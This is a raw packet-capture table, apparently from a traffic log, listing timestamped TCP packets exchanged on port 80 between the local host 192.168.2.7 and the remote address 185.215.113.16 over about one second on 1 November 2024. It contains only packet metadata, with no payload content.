Nov 1, 2024 12:34:33.895777941 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.895788908 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.895804882 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.895809889 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.895822048 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.895833969 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.895834923 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.895843983 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.895860910 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.895863056 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.895873070 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.895893097 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.895895958 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.895922899 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.895932913 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.895948887 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.895952940 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.895961046 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.895977020 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.895977974 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.895989895 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.895992994 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.896014929 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.896018028 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896032095 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896040916 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896064043 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896064043 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.896075010 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896085978 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896100044 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896106005 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.896111965 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896125078 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896131992 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.896136999 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896147966 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.896169901 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.896182060 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896193027 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896204948 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896218061 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896225929 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.896229982 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896241903 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896254063 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896260023 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.896281958 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.896303892 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896313906 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896323919 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896338940 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.896346092 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896363020 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.896429062 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896447897 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896457911 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896470070 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896481991 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896481991 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.896500111 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896507025 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.896512985 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896518946 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.896528006 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896538973 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896543026 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.896562099 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896564007 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.896573067 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896589994 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896600962 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896610975 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.896614075 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896629095 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896632910 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.896660089 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.896667957 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896678925 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896706104 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896717072 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896728039 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896737099 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.896739006 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896759033 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.896764994 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896775961 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.896821022 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896837950 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896850109 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896857977 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.896862030 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896879911 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.896956921 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896969080 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896981001 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.896989107 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.896992922 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897011042 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897012949 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.897023916 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897034883 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897043943 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.897068024 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.897113085 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897130013 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897141933 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897151947 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897164106 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897164106 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.897176027 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897185087 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.897188902 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897201061 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897211075 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.897214890 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897232056 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.897252083 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897264004 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897295952 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.897296906 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897309065 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897341967 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.897373915 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897384882 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897392988 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897406101 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897408962 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.897433996 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.897434950 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897449017 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897459030 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897478104 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.897490978 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.897501945 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897527933 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897541046 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897562981 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.897595882 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897612095 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897629023 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897639036 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897641897 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.897654057 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897664070 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897665024 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.897675991 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897687912 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897696018 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.897702932 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897708893 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.897717953 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897731066 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897732019 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.897742987 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897756100 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897773027 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.897780895 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897792101 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897802114 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897804022 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.897831917 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.897864103 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897876978 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897888899 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897898912 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897917032 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.897917986 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.897948980 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.898127079 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898139000 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898150921 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898174047 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.898237944 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898248911 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898260117 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898269892 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898272991 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.898282051 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898294926 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898294926 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.898318052 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.898741961 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898756027 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898766041 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898771048 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898777962 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898782015 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898794889 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898807049 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898813963 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.898818970 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898829937 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898843050 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898853064 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.898857117 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898864985 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898871899 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898905039 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.898916006 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.898933887 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898951054 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898964882 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898974895 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898986101 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.898987055 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.898998976 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.898998976 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899013996 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899015903 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.899040937 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.899072886 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899085999 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899096966 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899106979 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899117947 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.899121046 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899132967 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899152040 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.899173975 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.899214029 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899322987 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899334908 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899347067 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899358034 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899358034 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.899369955 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899379015 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.899382114 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899411917 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.899542093 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899553061 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899569988 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899573088 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.899583101 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899595022 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899604082 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.899606943 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899617910 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.899676085 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899687052 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899698019 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899708033 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.899709940 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899725914 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899729967 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.899755001 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.899856091 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899867058 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899883032 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899893045 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899905920 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899914980 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.899918079 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.899935961 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.899952888 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.900108099 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.903757095 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.903774977 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.903786898 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.903798103 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.903810024 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.903814077 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.903822899 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.903836966 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.903840065 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.903848886 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.903852940 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.903862000 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.903877020 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.903883934 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.903894901 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.903906107 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.903915882 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.903928041 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.903939009 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.903944969 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.903944969 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.903950930 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.903963089 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.903973103 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.903975010 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.903985023 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.903987885 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.903995991 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.904000998 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.904012918 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.904022932 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.904023886 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.904036999 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.904047966 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.904056072 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.904064894 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.904088020 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.904113054 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.924750090 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.924762011 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.924781084 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.924793005 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.924804926 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.924808025 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.924818993 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.924839020 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.924843073 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.924850941 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.924854040 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.924865961 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.924889088 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.924897909 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.924901009 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.924909115 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.924921036 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.924927950 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.924935102 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.924942017 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.924966097 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.955879927 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.955914021 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.955925941 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.955936909 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.955948114 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.955960035 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.955965042 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.955986977 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.955990076 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.955998898 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.956008911 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.956012011 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.956022978 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.956038952 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.956064939 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.987323999 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.987338066 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.987349987 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.987380981 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.018742085 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.018763065 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.018776894 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.018799067 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.018826962 CET	49996	80	192.168.2.7	185.215.113.16
